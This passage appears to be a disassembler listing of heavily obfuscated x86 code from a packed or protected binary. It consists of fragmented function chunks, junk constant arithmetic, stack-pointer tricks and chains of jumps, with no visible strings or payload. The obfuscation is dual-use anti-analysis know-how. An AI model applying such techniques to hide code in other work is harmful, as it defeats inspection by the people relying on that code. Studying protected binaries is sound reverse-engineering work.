sub_59A4E8	proc near		; DATA XREF: sdfs____:00598FD8o

var_10		= dword	ptr -10h
var_8		= dword	ptr -8
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0059AEA9 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0059B291 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0059D6DA SIZE 0000000D BYTES
; FUNCTION CHUNK AT 005A1A31 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 005A4740 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 005A6F59 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 005A74E4 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005A8534 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 005AB158 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 005AD43B SIZE 00000006 BYTES

		mov	ecx, [esp+0]
		sub	esp, 4
		mov	[esp+4+var_4], esi
		jmp	loc_5AD43B
sub_59A4E8	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AD243


loc_59A4F9:				; CODE XREF: sub_5AD243-B2E6j
		mov	ecx, 715B5B11h
		sub	eax, ecx
		pop	ecx
		mov	ebx, [esp-4+arg_0]
		add	esp, 4
		jmp	sub_5ABAD7
; END OF FUNCTION CHUNK	FOR sub_5AD243
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AC18D


loc_59A50F:				; CODE XREF: sub_5AC18D-10774j
		mov	eax, edx
		jmp	loc_5AB3AB
; END OF FUNCTION CHUNK	FOR sub_5AC18D

; =============== S U B	R O U T	I N E =======================================



sub_59A516	proc near		; DATA XREF: sdfs____:00598FBCo

var_8		= dword	ptr -8
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0059AFDB SIZE 0000000C BYTES
; FUNCTION CHUNK AT 005A3165 SIZE 00000008 BYTES

		mov	cx, [esp+0]
		sub	esp, 4
		mov	[esp+4+var_4], eax
		push	4F15h
		mov	[esp+8+var_8], esp
		jmp	loc_59AFDB
sub_59A516	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_59A52D:				; CODE XREF: sub_5AA2D1-72Cj
		movzx	eax, al
		mov	dx, word ptr [esp-18h+arg_14]
		push	esi
		push	esp
		jmp	loc_5A398A
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AFA26


loc_59A53B:				; CODE XREF: sub_5AFA26:loc_5A9AF7j
		add	ebp, 7F270EB6h
		jl	loc_5A9942
		neg	ebp
		jo	loc_5A63BC
		xor	ebp, 14582F8Eh
		sub	esp, 4
		mov	[esp+0Ch+var_C], ebp
		mov	ebp, 3D4A583Fh
		xor	ebp, 51480D96h
		not	ebp
		xor	ebp, 390F76F9h
		xor	ebp, 0F9EDCF6Dh
		sub	eax, 4CBE1F70h
		jmp	loc_5A4D55
; END OF FUNCTION CHUNK	FOR sub_5AFA26
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_59A57E:				; CODE XREF: sub_5AA2D1-23BEj
		push	eax
		mov	eax, 4E4860B0h
		mov	edx, eax
		jmp	loc_5A7B60
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AD993


loc_59A58B:				; CODE XREF: sub_5AD993-6B0Dj
		mov	eax, 2E43619Bh
		xor	eax, 25E403E2h
		mov	ecx, eax
		mov	eax, [esp-0Ch+arg_8]
		add	esp, 4
		push	36972150h
		jmp	loc_5A22CB
; END OF FUNCTION CHUNK	FOR sub_5AD993
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59D6B8


loc_59A5A7:				; CODE XREF: sub_59D6B8+DB7Bj
		mov	ebp, edi
		pop	edi
		add	ebp, 74745DAAh
		not	ebp
		jmp	loc_5A0272
; ---------------------------------------------------------------------------


loc_59A5B7:				; CODE XREF: sub_59D6B8-693j
		xor	[esp+0Ch+var_C], esi
		xor	esi, [esp+0Ch+var_C]
		jmp	loc_59CE50
; END OF FUNCTION CHUNK	FOR sub_59D6B8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59F2D1


loc_59A5C2:				; CODE XREF: sub_59F2D1+DEA2j
		add	esp, 4
		sub	esp, 4
		mov	[esp+8+var_8], ecx
		mov	ecx, 4
		add	ebp, 20F54226h
		add	ebp, ecx
		sub	ebp, 20F54226h
		pop	ecx
		push	7840h
		jmp	loc_5AAA8D
; END OF FUNCTION CHUNK	FOR sub_59F2D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_59A5EF:				; CODE XREF: sub_5AA2D1-5EC9j
		mov	ebx, 2
		add	eax, ebx
		pop	ebx
		xchg	eax, [esp-10h+arg_C]
		mov	esp, [esp-10h+arg_C]
		and	word ptr [esp-10h+arg_C], ax
		pushf
		jmp	loc_59910F
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A2A15


loc_59A607:				; CODE XREF: sub_5A2A15-8F67j
		push	2
		pop	ebx
		add	eax, ebx
		pop	ebx
		jmp	loc_5A4AEC
; END OF FUNCTION CHUNK	FOR sub_5A2A15
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A0924


loc_59A615:				; CODE XREF: sub_5A0924+222Aj
		push	eax
		xchg	ecx, [esp+0Ch+var_C]
		not	ecx
		push	ecx
		push	[esp+10h+var_C]
		jmp	loc_5AB612
; END OF FUNCTION CHUNK	FOR sub_5A0924
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5B03E8


loc_59A625:				; CODE XREF: sub_5B03E8-42EFj
		mov	[esp+4+var_4], edi
		mov	edi, 440C01B3h
		jmp	loc_59DE77
; END OF FUNCTION CHUNK	FOR sub_5B03E8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AF2D9


loc_59A632:				; CODE XREF: sub_5AF2D9-142B2j
		add	ecx, 69AE4D94h
		push	ecx
		pop	ebx
		jmp	loc_59B087
; END OF FUNCTION CHUNK	FOR sub_5AF2D9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AD243


loc_59A63F:				; CODE XREF: sub_5AD243-6FB7j
		jmp	loc_59C7F0
; END OF FUNCTION CHUNK	FOR sub_5AD243
; ---------------------------------------------------------------------------


loc_59A644:				; CODE XREF: sdfs____:0059EFE2j
		mov	ebx, esp
		jmp	loc_59B953
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A9D6F


loc_59A64B:				; CODE XREF: sub_5A9D6F-B999j
		mov	bh, cl
		jmp	loc_5B01A9
; END OF FUNCTION CHUNK	FOR sub_5A9D6F
; ---------------------------------------------------------------------------
		lodsb
		jmp	loc_5A0115
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_59A658:				; CODE XREF: sub_5AA2D1+520Aj
		dec	edx
		add	edx, 2C43F72h
		jmp	loc_59EBF5
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------


loc_59A664:				; CODE XREF: sdfs____:005A1667j
		push	ebx
		jmp	loc_5AB423

; =============== S U B	R O U T	I N E =======================================



sub_59A66A	proc near		; CODE XREF: sub_59ACD0+4j

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 005A246E SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005A4DCB SIZE 00000007 BYTES
; FUNCTION CHUNK AT 005A8958 SIZE 0000001B BYTES

		sub	esp, 4
		jmp	loc_5A246E
sub_59A66A	endp

; ---------------------------------------------------------------------------
		lodsd
		xor	eax, ebx
		push	ebx
		mov	ebx, esp
		push	edi
		mov	edi, 4F7B789Eh
		and	edi, 61E53F0Eh
		not	edi
		dec	edi
		sub	edi, 0BE9EC7ECh
		add	ebx, edi
		jmp	loc_5A221A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_599D0E


loc_59A694:				; CODE XREF: sub_599D0E+559j
		pop	ecx
		add	bl, 92h
		movzx	eax, al
		jmp	loc_5ADEF0
; END OF FUNCTION CHUNK	FOR sub_599D0E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A5824


loc_59A6A0:				; CODE XREF: sub_5A5824+1344j
		xor	edx, [ebx]
		pop	ebx
		push	1954h
		mov	[esp+0], ecx
		push	64CF79AEh
		pop	ecx
		jmp	loc_5A6ED7
; END OF FUNCTION CHUNK	FOR sub_5A5824
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59EE3E


loc_59A6B6:				; CODE XREF: sub_59EE3E+3D67j
		push	48Bh
		mov	[esp+4+var_4], edx
		push	ebp
		jmp	loc_5AEF93
; END OF FUNCTION CHUNK	FOR sub_59EE3E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A7746


loc_59A6C4:				; CODE XREF: sub_5A7746+9j
		xor	ecx, 2C84265Fh
		jmp	loc_5A7BF4
; END OF FUNCTION CHUNK	FOR sub_5A7746
; ---------------------------------------------------------------------------


loc_59A6CF:				; CODE XREF: sdfs____:005A168Cj
		neg	eax
		jp	loc_5999FD
		not	eax
		jmp	loc_5A5F47
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A0AA2


loc_59A6DE:				; CODE XREF: sub_5A0AA2+8911j
		jo	loc_59F842
		not	edx
		sub	esp, 4
		jmp	loc_59AEB6
; END OF FUNCTION CHUNK	FOR sub_5A0AA2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59FE51


loc_59A6F1:				; CODE XREF: sub_59FE51+6FEEj
		pop	esp
		mov	[esp+0], edi
		push	[esp+arg_0]
		mov	edi, [esp+4+var_4]
		add	esp, 4
		pop	dword ptr [esp+0]
		mov	esp, [esp-4+arg_0]
		idiv	ecx
		push	7282h
		jmp	loc_59987A
; END OF FUNCTION CHUNK	FOR sub_59FE51
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59EE3E


loc_59A711:				; CODE XREF: sub_59EE3E+9536j
		push	esp
		pop	eax
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp+8+var_8]
		pop	esp
		or	esi, 66134CB9h
		xor	esi, 48B467BDh
		jmp	loc_5A7044
; END OF FUNCTION CHUNK	FOR sub_59EE3E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A5AF2


loc_59A732:				; CODE XREF: sub_5A5AF2+12j
		pop	eax
		sub	dh, bl
		add	dh, 96h
		mov	ebx, [esp+0]
		add	esp, 4
		push	eax
		mov	al, 27h
		sub	al, 0CEh
		xor	al, 23h
		xor	al, 0C4h
		jmp	loc_5A116E
; END OF FUNCTION CHUNK	FOR sub_5A5AF2
; ---------------------------------------------------------------------------


loc_59A74F:				; CODE XREF: sdfs____:0059F2C2j
		mov	ecx, ebp
		jmp	loc_59F4C6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59993B


loc_59A756:				; CODE XREF: sub_59993B+29B9j
		add	edx, 4
		xchg	edx, [esp+10h+var_10]
		pop	esp
		push	[esp+0Ch+var_C]
		push	[esp+10h+var_10]
		pop	eax
		push	3673h
		mov	[esp+14h+var_14], esi
		jmp	loc_5A81F9
; END OF FUNCTION CHUNK	FOR sub_59993B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A8215


loc_59A774:				; CODE XREF: sub_5A8215-DF70j
		add	[esp+10h+var_C], edx
		pop	edx
		mov	edx, [esp+0Ch+var_C]
		jmp	loc_59C298
; END OF FUNCTION CHUNK	FOR sub_5A8215
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5992DA


loc_59A781:				; CODE XREF: sub_5992DA+9F43j
		sub	ebx, 0CADB66E1h
		add	esi, 9642939h
		sub	esi, ebx
		sub	esi, 9642939h
		pop	ebx
		add	esi, 67005B04h
		sub	esp, 4
		mov	[esp+24h+var_26+2], edx
		jmp	loc_5A2227
; END OF FUNCTION CHUNK	FOR sub_5992DA
; ---------------------------------------------------------------------------
		pop	dword ptr fs:[edx]
		jmp	loc_59910F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A0AA2


loc_59A7AF:				; CODE XREF: sub_5A0AA2-7083j
		jmp	loc_5AA160
; END OF FUNCTION CHUNK	FOR sub_5A0AA2
; ---------------------------------------------------------------------------


loc_59A7B4:				; CODE XREF: sdfs____:005AFAE6j
		sub	esp, 4
		mov	[esp], esi
		mov	esi, 74376779h
		push	ebx
		mov	ebx, 0D433CB9h
		jmp	loc_5AE5B8
; ---------------------------------------------------------------------------


loc_59A7CD:				; CODE XREF: sdfs____:005A3C81j
		jno	loc_59A350
		xor	eax, 0BFFFD7C9h
		push	ecx
		mov	ecx, eax
		push	ecx
		pop	ebp
		pop	ecx
		pop	eax
; START	OF FUNCTION CHUNK FOR sub_5A522E


loc_59A7DF:				; CODE XREF: sub_5A522E+52Bj
		pop	esi
		not	ebx
		jmp	loc_5A2984
; END OF FUNCTION CHUNK	FOR sub_5A522E

; =============== S U B	R O U T	I N E =======================================



sub_59A7E7	proc near		; CODE XREF: sub_59D6B8+7236j

var_10		= dword	ptr -10h
var_A		= word ptr -0Ah
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 005997B1 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 00599B5E SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0059A812 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0059AA81 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0059E18D SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0059E2B1 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0059F5E3 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0059FAB4 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 0059FC67 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 005A01EE SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005A1A42 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 005A3874 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 005A4901 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 005A4BF9 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 005A5029 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 005A5E27 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 005A61A0 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 005A6866 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 005A69CE SIZE 00000009 BYTES
; FUNCTION CHUNK AT 005A81CC SIZE 00000013 BYTES
; FUNCTION CHUNK AT 005A8E0D SIZE 00000015 BYTES
; FUNCTION CHUNK AT 005A9AE3 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 005AC956 SIZE 00000022 BYTES
; FUNCTION CHUNK AT 005ACECC SIZE 00000007 BYTES
; FUNCTION CHUNK AT 005ACF56 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 005AE4DE SIZE 0000001E BYTES
; FUNCTION CHUNK AT 005AEE6D SIZE 00000012 BYTES

		push	ebp
		mov	ebp, 1AF37417h
		xor	ebx, ebp
		jmp	loc_5A8E0D
sub_59A7E7	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A16B8


loc_59A7F4:				; CODE XREF: sub_5A16B8-3D72j
		pop	edx
		mov	eax, [esp+0Ch+var_C]
		sub	esp, 4
		mov	[esp+10h+var_10], ebx
		jmp	loc_5AA53F
; END OF FUNCTION CHUNK	FOR sub_5A16B8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A2166


loc_59A803:				; CODE XREF: sub_5A2166+ABD2j
		pop	esp
		jmp	loc_59F126
; END OF FUNCTION CHUNK	FOR sub_5A2166
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59CBE1


loc_59A809:				; CODE XREF: sub_59CBE1+8CE9j
		pop	[esp-4+arg_0]
		pop	esp
		jmp	loc_5A9746
; END OF FUNCTION CHUNK	FOR sub_59CBE1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59A7E7


loc_59A812:				; CODE XREF: sdfs____:0059DAAEj
					; sub_59A7E7+726Cj
		push	edx
		jmp	loc_5ACECC
; END OF FUNCTION CHUNK	FOR sub_59A7E7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A3E64


loc_59A818:				; CODE XREF: sub_5AA2D1-981j
					; sub_5A3E64+AE73j
		mov	[esp+0], ebx
		mov	bh, ch
		mov	[edi+eax*4], bh
		pop	ebx
		push	[esp-4+arg_0]
		jmp	loc_59E3EC
; END OF FUNCTION CHUNK	FOR sub_5A3E64
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5992DA


loc_59A829:				; CODE XREF: sub_5992DA+E181j
		sub	eax, 7E304CE6h
		jmp	loc_5A30E2
; END OF FUNCTION CHUNK	FOR sub_5992DA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A913B


loc_59A833:				; CODE XREF: sub_5A913B-FEAFj
		add	bl, al
		mov	eax, [esp-4+arg_0]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp+0]
		pop	esp
		xor	al, bl
		mov	ebx, [esp-4+arg_0]
		add	esp, 4
		push	small 5513h
		mov	word ptr [esp-6+arg_0+2], cx
		mov	ch, 0D2h
		add	bl, ch
		mov	cx, word ptr [esp-6+arg_0+2]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 2
		xchg	ebx, [esp+0]
		pop	esp
		push	eax
		mov	al, 33h
		add	al, 2Fh
		add	bl, al
		pop	eax
		push	dx
		mov	dl, 60h
		add	bl, dl
		pop	dx
		jmp	loc_5A8C8F
; END OF FUNCTION CHUNK	FOR sub_5A913B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59F566


loc_59A888:				; CODE XREF: sub_59F566-2B0Aj
		xor	ecx, eax
		pop	eax
		jmp	loc_5A7E8C
; END OF FUNCTION CHUNK	FOR sub_59F566
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AB08D


loc_59A890:				; CODE XREF: sub_5AB08D-11704j
		add	esp, 4
		add	esp, 4
		xor	ebp, [esp+4+var_4]
		xor	[esp+4+var_4], ebp
		xor	ebp, [esp+4+var_4]
		mov	esp, [esp+4+var_4]
		mov	ax, [esp-8+arg_4]
		push	ecx
		sub	esp, 4
		jmp	loc_5A162C
; END OF FUNCTION CHUNK	FOR sub_5AB08D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59F1F3


loc_59A8B2:				; CODE XREF: sub_59F1F3+76DFj
		mov	[esp+0], esi
		push	583A6001h
		mov	esi, [esp+4+var_4]
		add	esp, 4
		jmp	loc_5AD6CA
; END OF FUNCTION CHUNK	FOR sub_59F1F3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A7508


loc_59A8C5:				; CODE XREF: sub_5A7508+1Bj
		add	ebx, 37CE2AA8h
		pop	ebp
		push	edi
		mov	edi, 4BDB33D4h
		jmp	loc_5AEAC2
; END OF FUNCTION CHUNK	FOR sub_5A7508
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59E94B


loc_59A8D7:				; CODE XREF: sub_59E94B+B08Ej
		jmp	loc_599CFB
; END OF FUNCTION CHUNK	FOR sub_59E94B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_599A61


loc_59A8DC:				; CODE XREF: sub_599A61+11E11j
		mov	edx, 0E2257D2h
		sub	edx, 972D3105h
		add	eax, edx
		pop	edx
		xor	eax, 28D75139h
		push	edi
		mov	edi, 21C236D9h
		add	eax, edi
		pop	edi
		inc	eax
		sub	eax, 83DFDE59h
		xor	ebx, eax
		pop	eax
		and	ebx, 1E14030Eh
		add	ebx, 4B50097h
		jmp	loc_5A8771
; END OF FUNCTION CHUNK	FOR sub_599A61
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5B01F7


loc_59A912:				; CODE XREF: sub_5B01F7-ADECj
		xchg	edx, [esp-4+arg_0]
		mov	esp, [esp-4+arg_0]
		idiv	cx
		push	ecx
		push	6F00h
		mov	[esp+4+var_4], esp
		add	[esp+4+var_4], 4
		mov	ecx, [esp+4+var_4]
		add	esp, 4
		add	ecx, 4
		push	eax
		mov	eax, 22B50E66h
		push	eax
		push	ebp
		push	0FFFFFFFFh
		jmp	loc_5A8C05
; END OF FUNCTION CHUNK	FOR sub_5B01F7

; =============== S U B	R O U T	I N E =======================================



sub_59A94C	proc near		; CODE XREF: sub_5996E4+D4BCj

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00599D6A SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0059F4D8 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 005AD2DA SIZE 00000033 BYTES
; FUNCTION CHUNK AT 005AF0BD SIZE 00000026 BYTES

		sub	esp, 4
		mov	[esp+4+var_4], ebx
		push	2D6h
		push	708Ah
		mov	[esp+0Ch+var_C], esp
		add	[esp+0Ch+var_C], 4
		pop	[esp+0Ch+var_C]
		add	[esp+8+var_8], 4
		jmp	loc_59F4D8
sub_59A94C	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A9EB4


loc_59A972:				; CODE XREF: sub_5A9EB4-483Bj
		not	esi
		xchg	esi, edi
		jmp	loc_59F473
; END OF FUNCTION CHUNK	FOR sub_5A9EB4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A6BBC


loc_59A97B:				; CODE XREF: sub_5A6BBC+6ECAj
		push	ecx
		mov	ecx, 17BF608Dh
		jmp	loc_5A2450
; END OF FUNCTION CHUNK	FOR sub_5A6BBC

; =============== S U B	R O U T	I N E =======================================



sub_59A986	proc near		; CODE XREF: sub_5A96D8+564Dj

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0059B243 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 0059C0B0 SIZE 00000041 BYTES
; FUNCTION CHUNK AT 0059D76E SIZE 00000017 BYTES

		sub	esp, 4
		mov	[esp+4+var_4], edi
		mov	edi, 613D3576h
		not	edi
		inc	edi
		jmp	loc_59B243
sub_59A986	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5992DA


loc_59A99C:				; CODE XREF: sub_5992DA+15E87j
		xor	al, ch
		pop	cx
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		jmp	loc_5A9A4A
; END OF FUNCTION CHUNK	FOR sub_5992DA

; =============== S U B	R O U T	I N E =======================================



sub_59A9B4	proc near		; DATA XREF: sdfs____:00598F94o
		mov	esp, [esp+0]
		jmp	loc_59910F
sub_59A9B4	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59F074


loc_59A9BC:				; CODE XREF: sub_59F074-571Aj
		xor	eax, [esp+0]
		pop	esp
		jmp	loc_5A7B7C
; END OF FUNCTION CHUNK	FOR sub_59F074
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AF2D9


loc_59A9C5:				; CODE XREF: sub_5AF2D9-14297j
		xor	[esp+8+var_8], ebx
		xor	ebx, [esp+8+var_8]
		pop	esp
		or	eax, eax
		jz	loc_59FDA7
		push	ebp
		push	esi
		push	ebx
		jmp	loc_5999C3
; END OF FUNCTION CHUNK	FOR sub_5AF2D9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59D6B8


loc_59A9DC:				; CODE XREF: sub_59D6B8+B6A8j
		sub	edx, 522A0A37h
		add	ecx, edx
		jmp	loc_5AA4B1
; END OF FUNCTION CHUNK	FOR sub_59D6B8

; =============== S U B	R O U T	I N E =======================================



sub_59A9E9	proc near		; CODE XREF: sub_59D6B8+A648j

var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 0059A07C SIZE 00000030 BYTES
; FUNCTION CHUNK AT 0059B17B SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0059BDB6 SIZE 00000022 BYTES
; FUNCTION CHUNK AT 0059C945 SIZE 0000001A BYTES
; FUNCTION CHUNK AT 0059CCC2 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0059D27C SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0059D635 SIZE 00000004 BYTES
; FUNCTION CHUNK AT 0059DBC0 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0059E71A SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0059EBCA SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0059F63C SIZE 0000000F BYTES
; FUNCTION CHUNK AT 005A053F SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005A0D8A SIZE 0000000E BYTES
; FUNCTION CHUNK AT 005A13B2 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 005A2AEA SIZE 00000014 BYTES
; FUNCTION CHUNK AT 005A2F62 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 005A609D SIZE 00000014 BYTES
; FUNCTION CHUNK AT 005A7B2F SIZE 00000016 BYTES
; FUNCTION CHUNK AT 005A8613 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 005A8B9E SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005A9481 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 005A97C1 SIZE 00000027 BYTES
; FUNCTION CHUNK AT 005ABFAD SIZE 00000013 BYTES
; FUNCTION CHUNK AT 005AC073 SIZE 0000002C BYTES
; FUNCTION CHUNK AT 005ADE92 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 005AFB9D SIZE 0000000E BYTES
; FUNCTION CHUNK AT 005B03C6 SIZE 00000005 BYTES

		push	ebp
		mov	ebp, 0FC630C8h
		jmp	loc_59EBCA
sub_59A9E9	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_59A9F4:				; CODE XREF: sub_5AA2D1+49B1j
		add	esi, 16BD4811h
		jmp	loc_59CFC4
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5ADAE7


loc_59A9FF:				; CODE XREF: sub_5ADAE7-4F8Cj
		push	3BAEh
		mov	[esp+10h+var_10], edi
		jmp	loc_59A4B1
; END OF FUNCTION CHUNK	FOR sub_5ADAE7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59D6B8


loc_59AA0C:				; CODE XREF: sub_59D6B8+E910j
		pop	edx
		xchg	ebx, [esp+8+var_8]
		mov	esp, [esp+8+var_8]
		mov	[esp+8+var_8], ecx
		jmp	loc_59A4BB
; END OF FUNCTION CHUNK	FOR sub_59D6B8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A5EFF


loc_59AA1B:				; CODE XREF: sub_5A5EFF+8CB5j
		pop	ebp
		add	edx, 4E345970h
		sub	edx, ebp
		push	eax
		push	ecx
		mov	ecx, 1B5E712Eh
		mov	eax, 32D5E842h
		sub	eax, 75D58B8h
		sub	eax, 5D8967A3h
		jmp	loc_5A1277
; END OF FUNCTION CHUNK	FOR sub_5A5EFF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5992DA


loc_59AA3F:				; CODE XREF: sub_5992DA+13216j
		mov	edx, 5ED82BDEh
		shr	edx, 2
		jmp	loc_5ACC4A
; END OF FUNCTION CHUNK	FOR sub_5992DA
; ---------------------------------------------------------------------------


loc_59AA4C:				; CODE XREF: sdfs____:005A0DB5j
		mov	ecx, [esp]
		add	esp, 4
		not	ebp
		push	esi
		jmp	loc_5AB02C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_59AA5A:				; CODE XREF: sub_5AA2D1+15Ej
		mov	[esp-0Ch+arg_8], eax
		jmp	loc_5A7381
; END OF FUNCTION CHUNK	FOR sub_5AA2D1

; =============== S U B	R O U T	I N E =======================================



sub_59AA62	proc near		; DATA XREF: sdfs____:00598E78o

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8

; FUNCTION CHUNK AT 005A0C8B SIZE 00000018 BYTES
; FUNCTION CHUNK AT 005A1B38 SIZE 00000044 BYTES
; FUNCTION CHUNK AT 005A250D SIZE 0000001C BYTES
; FUNCTION CHUNK AT 005A57AA SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005AD634 SIZE 00000008 BYTES

		mov	ecx, [esp+0]
		push	esi
		sub	esp, 4
		push	esp
		pop	[esp+0Ch+var_C]
		add	[esp+8+var_8], 4
		jmp	loc_5A0C8B
sub_59AA62	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_59AA79:				; CODE XREF: sub_5AA2D1-A730j
